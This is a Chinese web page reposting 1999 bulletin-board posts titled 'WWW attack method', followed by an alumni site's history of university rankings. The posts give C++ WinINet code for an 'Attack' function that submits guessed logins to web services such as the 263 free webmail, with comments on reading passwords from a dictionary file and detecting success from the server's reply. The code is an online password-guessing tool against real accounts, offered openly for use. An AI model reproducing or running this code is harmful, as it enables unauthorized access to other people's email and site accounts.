中国校友会网  中国校友网
 		注册 登录 
排行 论坛 
 
           心情日记 | 原创作品 | 珍藏佳作 | 校园文学 | 联合征文 | 文集推荐 | 作品精选 | 我的作品 | 原创论坛
www的攻击
作品类别：原创作品  作者：射天狼  发表时间：2003-05-08 19:25:29.0  
这儿的WWW攻击只限一般站点的攻击
对于采用安全连接的站点还没有试过
一个很好的实践的目标就是各种支持WWW的免费邮件
如果你想用它来进入黄色站点
那也没办法 :)
一般的站点中
如果你想浏览某些需要授权的内容
首先要经过身份验证这一步
就是让你输入用户名、密码
然后浏览器会根据HTML文件中FORM的定义
把这些信息发给服务器来验证
一般的办法是GET或POST
比如在263中
请看下面的263 HTML源代码
用户名: @263.net 口令:
如果点击“请进吧！“，浏览器会向服务器发送一下请求
POST /prog/login/?user=aaa@pass=bbb
既然知道了原理
那我们就可以模拟用户点击的过程
Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
标 题: WWW攻击法（二）
发信站: 我爱南开站 (Wed Nov 3 08:45:57 1999), 转信
微软给我们提供了一套现成的API让我们可以使用HTTP协议而不需通读RFC文档
现在
我们就可以发动进攻了
请看源程序
不想灌水
我把该程序中读字典的部分和判断攻击是否成功的部分省掉了
但都作了注释
const TCHAR szHeaders[] =“Accept: text/*\r\nUser-Agent: URLHacker\r\n“;
//pServer是目标主机名
//cszPostData就是剩下的部分
//比如攻击263的免费邮箱，那么
//pServer=“freemail.263.net“
//cszPostData=“/prog/login?user=tom&pass=@!#$“
//当然，你要先读字典文件，读取pass的值
void Attack(LPSTR pServer,LPSTR cszPostData)
{
// Open Internet session.
HINTERNET hSession = ::InternetOpen(“URLHacker“,
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
INTERNET_INVALID_PORT_NUMBER,
0) ;
// Connect to dest.
HINTERNET hConnect = ::InternetConnect(hSession,
pServer,
INTERNET_INVALID_PORT_NUMBER,
““,
““,
INTERNET_SERVICE_HTTP,
0,
0) ;
// Request the file from the server.
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
“GET“,
cszPostData,
HTTP_VERSION,
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0) ;
// Add request headers
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHea
ders),HTTP_ADDREQ_FLAG_ADD);
// Send the request.
BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
// Get the length of the file.
char szBuffer[80] ;
DWORD dwLen = sizeof(szBuffer);
DWORD dwIndex;
BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE,
szBuffer, &dwLen, NULL);
DWORD dwRet;
if (bRet)
dwRet = (DWORD) atol(szBuffer);
if (dwRet == HTTP_STATUS_DENIED){
//这是另外一种验证的办法，和系统的用户名、口令结合起来
//InternetConnect中第3、4个参数就是用户名和口令
//下面怎么做不用我说了吧
}
if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwLen, 0))
bRet = TRUE;
else
{
// now that we know how long it is, ask for exactly that much
// space and really request the header from the API
LPTSTR pstr = new TCHAR[dwLen];
bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pstr, &dwLen,
&dwIndex);
delete []pstr;
}
// were we redirected?
// these response status codes come from WININET.H
if (dwRet == HTTP_STATUS_MOVED ||
dwRet == HTTP_STATUS_REDIRECT ||
dwRet == HTTP_STATUS_REDIRECT_METHOD)
{
//被重定向到其它地址，需要重新连接到新的地址
}
// Convert length from ASCII string to a DWORD.
// Allocate a buffer for the file.
char* buffer = new char[dwLen+1] ;
// Read the file into the buffer.
DWORD dwBytesRead ;
BOOL bRead = ::InternetReadFile(hHttpFile,
buffer,
dwLen+1,
&dwBytesRead);
//可以在这儿根据读到的内容判断攻击是否成功
//怎么？不会！
//试一下手工猜口令，肯定给你一个出错的画面
//如果读到的内容中不包括那些错误信息，就又可能成功了
delete [] buffer;
::InternetCloseHandle(hHttpFile);
::InternetCloseHandle(hConnect) ;
::InternetCloseHandle(hSession) ;
}
Welcome to NANKAIBBS发信人: bbb (九万里风鹏路), 信区: SysSafe
标 题: WWW攻击法（三）—注解
发信站: 我爱南开站 (Wed Nov 3 08:58:58 1999), 转信
创建一个会话
HINTERNET hSession = ::InternetOpen(
“URLHacker“,//Agent名，随便取
INTERNET_OPEN_TYPE_PRECONFIG,//使用定义的连接方式
NULL,
INTERNET_INVALID_PORT_NUMBER,
0) ;
连接到服务器
HINTERNET hConnect = ::InternetConnect(
hSession,
pServer,//服务器名
INTERNET_INVALID_PORT_NUMBER,
““,//用户名
““,//口令
INTERNET_SERVICE_HTTP,//HTTP
0,
0);
向服务器发出请求
HINTERNET hHttpFile = ::HttpOpenRequest(hConnect,
“GET“,//可用GET或POST
cszPostData,//对应于HTTP命令 GET cdzPostData
HTTP_VERSION,
NULL,
0,
INTERNET_FLAG_DONT_CACHE,
0);
加一个请求头，自我炫耀一下，hehe
BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead
ers),HTTP_ADDREQ_FLAG_ADD);
接下来，查询该请求返回的信息，然后读之

　
中国校友会(www.cuaa.net) 



历史回顾：
 2008年
· 2008年1月2日，中国校友会网大学评价课题组正式发布《2008中国大学评价研究报告》，这是中国校友会网、《大学》杂志和21世纪人才报连续第6年发布中国大学排行榜。北京大学超越清华大学荣登“2008中国大学排行榜”榜首，清华大学下降至第2名；复旦大学和浙江大学仍列第3和第4名；与2007年相同，南京大学列第5名，上海交通大学列第6名，武汉大学列第7名；吉林大学上升至第8名，中国人民大学和四川大学进入前十名，分列第9和第10名，其中四川大学是首次进入前十强。同时发布：高校国家重大自然科学奖排行榜、高校Nature&Science论文排行榜、高校国家重大技术发明奖排行榜、高校国家重大科技进步奖排行榜 高校中国专利奖金奖排行榜、高校社会科学贡献力排行榜、2007中国高校杰出社会科学家校友榜、2008中国最受媒体关注大学排行榜 ；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、王凌峰和刘明等
 2007年
·2007年8月： 2007年12月24日，“中国校友会网大学评价课题组”发布《2007中国杰出社会科学家研究报告》正式揭晓，报告公布了“2007(首届)中国杰出社会科学家”入选名单，来自全国高校和科研院所的505名学者入选。报告公布的入选学者工作单位、研究领域和毕业院校等统计结果显示，中国社会科学院入选“杰出社会科学家”的学者人数最多，位居全国首位；北京大学教师和校友入选“杰出社会科学家”的人数最多位居全国高校首位，中国人民大学和复旦大学紧随其后，位居高校第二和第三名；法学学科“杰出社会科学家”人数最多，教育学学科最少。 ；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、王凌峰和刘明等
·2007年8月： 2007年8月6日，我国首个针对高考状元职业状况的调查报告--《中国高考状元职业状况调查报告》出炉，报告由“中国校友会网大学评价课题组”历时6个月时间通过对1977-1998年我国各省市自治区高考状元的职业状况的调查与研究得出的。调查显示，高考状元大学期间学习能力突出，考研深造和出国留学成为毕业首选；高考状元职业发展并不理想，职业成就平平远低社会预期；状元仅是“考场状元”，尚未成为“职场状元”。 ；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、王凌峰和刘明等
·2007年5月：发布《2007中国民办高校评价研究报告》，发布2007中国最受媒体关注民办大学排行榜，中国最受媒体关注独立学院排行榜，中国独立学院学费排行榜，中国民办大学学费排行榜，2007中国民办高校评价研究报告，同时 推出2007中国独立学院排行榜和2007中国民办大学排行榜 (中国民办高校排行榜),其中江西蓝天学院位居2007中国民办大学排行榜榜首，西安外事学院和湖南涉外经济学院分列第二和第三；华中科技大学武昌分校、浙江大学城市学院和浙江大学宁波理工学院名列2007中国独立学院排行榜前三名；编制单位：中国校友会网、《大学》杂志、21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、王留拴、冯用军、王凌峰、黄天彦、黄新勇和刘明等
·2007年5月：发布《1999-2006中国高考状元调查报告》，发布中国最受高考状元青睐大学排行榜、中国最受高考状元青睐专业排行榜、中国最受高考状元青睐院系排行榜、中国中学高考状元排行榜,将推出2007中国民办高校评价研究报告，同时将推出2007中国独立学院排行榜和2007中国民办大学排行榜(中国民办高校排行榜)；编制单位：中国校友会网、《大学》杂志和21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军、黄天彦和刘明等
·2007年1月04日：发布2007中国大学排行榜、2007中国高校科学贡献力排行榜、2007中国高校杰出校友榜和2007中国最受媒体关注大学排行榜,并公布《2007中国大学评价研究报告》,同时开展中国杰出社会科学家遴选工作,将推出2007中国民办高校评价研究报告，同时将推出2007中国独立学院排行榜和2007中国民办大学排行榜(中国民办高校排行榜)；编制单位：中国校友会网、《大学》杂志和21世纪人才报；编写：中国校友会网大学评价课题组；执笔：赵德国、蔡言厚、冯用军和刘明等
 2006年
·2006年6月27日：发布2006中国独立学院排行榜；编制单位：中国校友会网、21世纪人才报·大学周刊；编写：中国校友会网大学评价委员会；
·2006年5月19日：发布2006中国民办大学排行榜，并公布《2006中国民办大学评价报告》；编制单位：中国校友会网、21世纪人才报·大学周刊；编写：中国校友会网大学评价委员会；执笔：赵德国、王留栓、冯用军和刘明等
·2006年1月05日：发布2006中国大学排行榜和中国高校杰出校友榜，并公布《中国高校杰出人才培养状况调查报告》；编制单位：中国校友会网、21世纪人才报·大学周刊；编写：中国校友会网大学评价委员会；执笔：赵德国、蔡言厚、冯用军和刘明等
 2005年
·2005年6月10日：发布2005中国民办大学排行榜；编制单位：中国校友会网、21世纪人才报·大学周刊
·2005年4月：发布2005中国高校富豪校友榜和中国高校院士校友榜；
·2005年3月29日：发布2005中国大学排行榜；编制单位：中国校友会网、21世纪人才报·大学周刊、TOM教育
 2004年
·2004年4月10日：发布2004中国大学排行榜；编制单位：中国校友会网
 2003年
·2003年10月：发布2003中国大学排行榜；编制单位：中国校友会网
 2003年
·2003年10月：发布2003中国大学排行榜；编制单位：中国校友会网
 2001年
·2001年11月：中国校友会网正式上线运行！
合作媒体：  新浪教育  腾讯教育  ;搜狐教育  网易教育  博客网  中华网  TOM教育  慧聪教育  北方网  课堂内外社  超级考生网
           《21世纪人才报》  《大学》杂志  《中国民营经济周刊》  新课堂网   搜学网   新浪博客   历年大学排行榜   更多...
推荐网站：  天涯社区  中国校庆网  爱国者俱乐部  敬业人才网   宁波交友网   中国同乡会   商务基地网   自助游社区  更多...